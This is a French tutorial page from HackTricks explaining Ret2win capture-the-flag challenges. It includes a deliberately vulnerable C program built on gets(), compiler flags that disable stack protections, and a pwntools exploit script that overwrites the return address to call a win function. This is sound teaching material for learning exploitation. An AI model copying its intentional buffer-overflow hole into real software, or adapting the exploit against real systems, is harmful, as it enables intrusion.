Ret2win
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Les défis Ret2win sont une catégorie populaire dans les compétitions Capture The Flag (CTF), en particulier dans les tâches impliquant binary exploitation. L'objectif est d'exploiter une vulnérabilité dans un binaire donné pour exécuter une fonction spécifique, non invoquée, au sein du binaire, souvent nommée quelque chose comme win
, flag
, etc. Cette fonction, lorsqu'elle est exécutée, imprime généralement un drapeau ou un message de succès. Le défi implique généralement de remplacer l'adresse de retour sur la pile pour détourner le flux d'exécution vers la fonction souhaitée. Voici une explication plus détaillée avec des exemples :
Exemple C
Considérons un programme C simple avec une vulnérabilité et une fonction win
que nous avons l'intention d'appeler :
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
Pour compiler ce programme sans protections de pile et avec ASLR désactivé, vous pouvez utiliser la commande suivante :
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32
: Compiler le programme en tant que binaire 32 bits (c'est optionnel mais courant dans les défis CTF).-fno-stack-protector
: Désactiver les protections contre les débordements de pile.-z execstack
: Autoriser l'exécution de code sur la pile.-no-pie
: Désactiver l'exécutable indépendant de la position pour s'assurer que l'adresse de la fonctionwin
ne change pas.-o vulnerable
: Nommer le fichier de sortievulnerable
.
Exploit Python utilisant Pwntools
Pour l'exploit, nous utiliserons pwntools, un puissant framework CTF pour écrire des exploits. Le script d'exploit créera une charge utile pour déborder le tampon et écraser l'adresse de retour avec l'adresse de la fonction win
.
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
Pour trouver l'adresse de la fonction win
, vous pouvez utiliser gdb, objdump ou tout autre outil qui vous permet d'inspecter des fichiers binaires. Par exemple, avec objdump
, vous pourriez utiliser :
objdump -d vulnerable | grep win
Cette commande vous montrera l'assemblage de la fonction win
, y compris son adresse de départ.
Le script Python envoie un message soigneusement élaboré qui, lorsqu'il est traité par la vulnerable_function
, déborde le tampon et écrase l'adresse de retour sur la pile avec l'adresse de win
. Lorsque vulnerable_function
retourne, au lieu de retourner à main
ou de sortir, il saute à win
, et le message est imprimé.
Protections
- PIE doit être désactivé pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée. Dans certains cas, lorsque la fonction qui cause le débordement est
read
ou similaire, vous pouvez faire un Partial Overwrite de 1 ou 2 octets pour changer l'adresse de retour afin qu'elle soit la fonction win. En raison de la façon dont fonctionne l'ASLR, les trois derniers nibbles hexadécimaux ne sont pas randomisés, donc il y a une chance de 1/16 (1 nibble) d'obtenir la bonne adresse de retour. - Stack Canaries doivent également être désactivés sinon l'adresse de retour EIP compromise ne sera jamais suivie.
Autres exemples & Références
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32 bits, pas d'ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- 64 bits avec ASLR, avec une fuite de l'adresse binaire
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64 bits, pas d'ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32 bits, pas d'ASLR, double petit débordement, premier pour déborder la pile et augmenter la taille du second débordement
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écraser l'adresse
fflush
avec la fonction win (ret2win) - https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
- 32 bits, nx, rien d'autre, écriture partielle de l'EIP (1 octet) pour appeler la fonction win
- https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
- 32 bits, nx, rien d'autre, écriture partielle de l'EIP (1 octet) pour appeler la fonction win
- https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- Le programme ne valide que le dernier octet d'un nombre pour vérifier la taille de l'entrée, il est donc possible d'ajouter n'importe quelle taille tant que le dernier octet est dans la plage autorisée. Ensuite, l'entrée crée un débordement de tampon exploité avec un ret2win.
- https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64 bits, relro, pas de canary, nx, pie. Écriture partielle pour appeler la fonction win (ret2win)
- https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/
- arm64, PIE, cela donne une fuite PIE, la fonction win est en fait 2 fonctions donc gadget ROP qui appelle 2 fonctions
- https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/
- ARM64, off-by-one pour appeler une fonction win
Exemple ARM64
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.